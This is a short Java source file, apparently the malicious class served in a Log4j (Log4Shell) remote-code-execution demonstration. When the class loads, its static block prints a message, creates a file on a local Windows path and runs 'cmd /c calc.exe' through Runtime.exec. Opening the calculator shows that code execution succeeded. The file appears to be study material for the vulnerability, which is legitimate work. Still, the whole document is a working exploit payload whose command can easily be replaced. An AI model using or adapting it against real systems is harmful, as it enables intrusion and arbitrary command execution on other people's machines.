package com.easy.log4j;

import java.io.File;
import java.io.IOException;

/**
 * @Packge com.easy.log4j
 * @Autor linNaibin
 * @Description
 * @Version 1.0
 * @Date 2021/12/12 13:01
 */
public class AttackObj {

    static {
        try {

            System.out.println("go go go !");
            // 创建 文件
            long times = System.currentTimeMillis();
            File file = new File("D:\\workspace\\easy-study\\easy-log4j-bug\\您猜我怎么着" + times + ".txt");

            file.createNewFile();

            String[] cmd = {"cmd", "/c", "calc.exe"};
            Runtime.getRuntime().exec(cmd).waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}
